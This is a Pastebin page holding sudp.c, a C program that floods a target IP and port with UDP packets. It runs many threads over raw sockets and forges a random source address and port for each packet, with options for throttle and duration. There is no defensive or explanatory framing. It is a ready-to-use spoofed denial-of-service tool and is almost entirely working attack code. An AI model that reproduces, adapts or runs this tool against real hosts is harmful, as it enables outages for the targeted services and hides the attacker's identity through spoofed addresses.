Advertisement
wtfbbq

sudp.c

Mar 15th, 2015
992
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.33 KB | None | 0 0
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #include <time.h>
  5. #include <pthread.h>
  6. #include <unistd.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <sys/socket.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/udp.h>
  13. #define MAX_PACKET_SIZE 4096
  14. #define PHI 0x9e3779b9
  15. static uint32_t Q[4096], c = 362436;
  16. struct thread_data{
  17.         int throttle;
  18.     int thread_id;
  19.     unsigned int floodport;
  20.     struct sockaddr_in sin;
  21. };
  22. void init_rand(uint32_t x)
  23. {
  24.         int i;
  25.         Q[0] = x;
  26.         Q[1] = x + PHI;
  27.         Q[2] = x + PHI + PHI;
  28.         for (i = 3; i < 4096; i++)
  29.                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  30. }
  31. uint32_t rand_cmwc(void)
  32. {
  33.         uint64_t t, a = 18782LL;
  34.         static uint32_t i = 4095;
  35.         uint32_t x, r = 0xfffffffe;
  36.         i = (i + 1) & 4095;
  37.         t = a * Q[i] + c;
  38.         c = (t >> 32);
  39.         x = t + c;
  40.         if (x < c) {
  41.                 x++;
  42.                 c++;
  43.         }
  44.         return (Q[i] = r - x);
  45. }
  46. char *myStrCat (char *s, char *a) {
  47.     while (*s != '\0') s++;
  48.     while (*a != '\0') *s++ = *a++;
  49.     *s = '\0';
  50.     return s;
  51. }
  52. char *replStr (char *str, size_t count) {
  53.     if (count == 0) return NULL;
  54.     char *ret = malloc (strlen (str) * count + count);
  55.     if (ret == NULL) return NULL;
  56.     *ret = '\0';
  57.     char *tmp = myStrCat (ret, str);
  58.     while (--count > 0) {
  59.         tmp = myStrCat (tmp, str);
  60.     }
  61.     return ret;
  62. }
  63. unsigned short csum (unsigned short *buf, int nwords)
  64. {
  65.   unsigned long sum;
  66.   for (sum = 0; nwords > 0; nwords--)
  67.   sum += *buf++;
  68.   sum = (sum >> 16) + (sum & 0xffff);
  69.   sum += (sum >> 16);
  70.   return (unsigned short)(~sum);
  71. }
  72. void setup_ip_header(struct iphdr *iph)
  73. {
  74.   iph->ihl = 5;
  75.   iph->version = 4;
  76.   iph->tos = 0;
  77.   iph->tot_len = sizeof(struct iphdr) + 1028;
  78.   iph->id = htonl(54321);
  79.   iph->frag_off = 0;
  80.   iph->ttl = MAXTTL;
  81.   iph->protocol = IPPROTO_UDP;
  82.   iph->check = 0;
  83.   iph->saddr = inet_addr("192.168.3.100");
  84. }
  85. void setup_udp_header(struct udphdr *udph)
  86. {
  87.   udph->source = htons(5678);
  88.   udph->check = 0;
  89.   char *data = (char *)udph + sizeof(struct udphdr);
  90.   data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);
  91.   udph->len=htons(1028);
  92. }
  93. void *flood(void *par1)
  94. {
  95.   struct thread_data *td = (struct thread_data *)par1;
  96.   fprintf(stdout, "Thread %d started\n", td->thread_id);
  97.   char datagram[MAX_PACKET_SIZE];
  98.   struct iphdr *iph = (struct iphdr *)datagram;
  99.   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  100.   struct sockaddr_in sin = td->sin;
  101.   char new_ip[sizeof "255.255.255.255"];
  102.  
  103.   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  104.   if(s < 0){
  105.     fprintf(stderr, "Could not open raw socket.\n");
  106.     exit(-1);
  107.   }
  108.   unsigned int floodport = td->floodport;
  109.   memset(datagram, 0, MAX_PACKET_SIZE);
  110.   setup_ip_header(iph);
  111.   setup_udp_header(udph);
  112.   udph->dest = htons(floodport);
  113.   iph->daddr = sin.sin_addr.s_addr;
  114.   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  115.   int tmp = 1;
  116.   const int *val = &tmp;
  117.   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  118.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  119.     exit(-1);
  120.   }
  121.   int throttle = td->throttle;
  122.   uint32_t random_num;
  123.   uint32_t ul_dst;
  124.   init_rand(time(NULL));
  125.   if(throttle == 0){
  126.     while(1){
  127.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  128.       random_num = rand_cmwc();
  129.  
  130.       ul_dst = (random_num >> 24 & 0xFF) << 24 |
  131.                (random_num >> 16 & 0xFF) << 16 |
  132.                (random_num >> 8 & 0xFF) << 8 |
  133.                (random_num & 0xFF);
  134.  
  135.       iph->saddr = ul_dst;
  136.       udph->source = htons(random_num & 0xFFFF);
  137.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  138.     }
  139.   } else {
  140.     while(1){
  141.       throttle = td->throttle;
  142.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  143.       random_num = rand_cmwc();
  144.  
  145.       ul_dst = (random_num >> 24 & 0xFF) << 24 |
  146.                (random_num >> 16 & 0xFF) << 16 |
  147.                (random_num >> 8 & 0xFF) << 8 |
  148.                (random_num & 0xFF);
  149.  
  150.       iph->saddr = ul_dst;
  151.       udph->source = htons(random_num & 0xFFFF);
  152.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  153.  
  154.      while(--throttle);
  155.     }
  156.   }
  157. }
  158. int main(int argc, char *argv[ ])
  159. {
  160.   if(argc < 5){
  161.     fprintf(stderr, "Invalid parameters!\n");
  162.     fprintf(stdout, "\nUsage: %s <target IP> <port to be flooded> <throttle> <number threads to use> <time>\n", argv[0]);
  163.     exit(-1);
  164.   }
  165.   fprintf(stdout, "Setting up Sockets...\n");
  166.   int num_threads = atoi(argv[4]);
  167.   unsigned int floodport = atoi(argv[2]);
  168.   pthread_t thread[num_threads];
  169.   struct sockaddr_in sin;
  170.   sin.sin_family = AF_INET;
  171.   sin.sin_port = htons(floodport);
  172.   sin.sin_addr.s_addr = inet_addr(argv[1]);
  173.   struct thread_data td[num_threads];
  174.   int i;
  175.   for(i = 0;i<num_threads;i++){
  176.     td[i].thread_id = i;
  177.     td[i].sin = sin;
  178.     td[i].floodport = floodport;
  179.     td[i].throttle = atoi(argv[3]);
  180.     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  181.   }
  182.   fprintf(stdout, "Starting Flood...\n");
  183.   if(argc > 5)
  184.   {
  185.     sleep(atoi(argv[5]));
  186.   } else {
  187.     while(1){
  188.       sleep(1);
  189.     }
  190.   }
  191.   return 0;
  192. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement